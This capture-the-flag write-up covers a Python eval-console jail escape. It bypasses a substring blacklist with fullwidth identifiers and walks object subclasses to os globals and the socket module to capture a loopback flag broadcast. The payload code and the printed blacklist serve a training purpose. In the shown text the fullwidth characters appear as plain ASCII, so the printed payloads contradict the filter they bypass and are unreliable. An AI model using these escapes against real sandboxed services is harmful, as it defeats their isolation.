CSCTF 2026 · Misc · 120 pts
Fire-Control Terminal.
A lowercase substring blacklist, fullwidth identifiers, and a UDP broadcast carrying the flag.
| Event | CSCTF 2026, Operation Dawn (online jeopardy) |
|---|---|
| Category | Misc |
| Points | 120 |
| Status | Solved during the event |
| Target | Python eval console (assigned TCP instance) |
TL;DR. The console runs each line as Python after rejecting a list of lowercase substrings. Fullwidth identifiers such as __class__ survive .lower() and are NFKC-normalised to __class__ by the parser. From there, walk to _wrap_close.__init__.__globals__ (the os module globals), get the socket module, bind UDP 49513, and read the base64url flag that the sender broadcasts every second.
Challenge
The terminal is a raw TCP service with a >>> prompt. Every line is evaluated as Python in a restricted namespace. The flag is not in the console's globals; it lives in a separate process on the same host.
First look
Simple expressions worked, and the tracebacks were returned verbatim. The filter was visible through its error messages: any source containing one of these lowercase substrings was rejected before compilation:
import eval exec open read system popen class base subclass
globals builtins getattr setattr mro compile breakpoint
The filter scans the raw source with .lower(). Python, on the other hand, normalises identifiers with NFKC at parse time. Those two operations do not commute: c (U+FF43) lowercases to itself, but normalises to c when the parser builds the identifier.
Dead ends
__class__,__base__,__subclasses__and__globals__were rejected outright because the literal substrings are on the list.eval,exec,openand__builtins__were equally blocked; splitting strings does not help when the token itself is the blocked name.- The console's own globals contained no flag, and the process ran as an unprivileged user with no readable flag file in its working directory.
Solution
1. Get an object graph
''.__class__.__base__.__subclasses__()
The filter sees ''.__class__...; none of those characters lowercase into the banned ASCII words. The parser normalises the identifiers, so the expression is exactly ''.__class__.__base__.__subclasses__().
2. Find a frame with useful globals
[_ for _ in ''.__class__.__base__.__subclasses__()
if _.__name__ == '_wrap_close'][0].__init__.__globals__
_wrap_close comes from os._wrap_close, so its __init__ function carries the os module globals. That dictionary contains sys and, through sys.modules, every module already imported by the process.
3. Bind the relay port
g = [_ for _ in ''.__class__.__base__.__subclasses__()
if _.__name__ == '_wrap_close'][0].__init__.__globals__
s = g['sys'].modules['socket'].socket(2, 2)
s.bind(('127.0.0.1', 49513))
print(s.recvfrom(4096)[0])
socket(2, 2) is AF_INET, SOCK_DGRAM. The sender process is already broadcasting to 127.0.0.1:49513 once per second, so binding the port is enough; no packet injection or race is needed.
4. Decode the datagram
ASH CMD RELAY // ... AUTH CODE <base64url>
python3 -c "import base64;print(base64.urlsafe_b64decode('...').decode())"
The payload decodes to the flag. The ASCII wrapper is there to make the relay look like a status line, but the code is plain base64url after the last space.
Flag
CSCTF{RlJuSYvitS9VJD1nK3X8xvc4}What I took from it
- Source filters and language parsers disagree about what a name is. NFKC normalisation, Unicode case folding and comments all create gaps between the string being checked and the code being run.
- A jail is only as strong as the objects it leaves reachable. Any function object exposes its defining module's globals, and
osis almost always in the process. - The flag did not have to be read from a file. The architecture put the secret in another process and broadcast it on loopback; binding the receiver was less work than escalating privileges.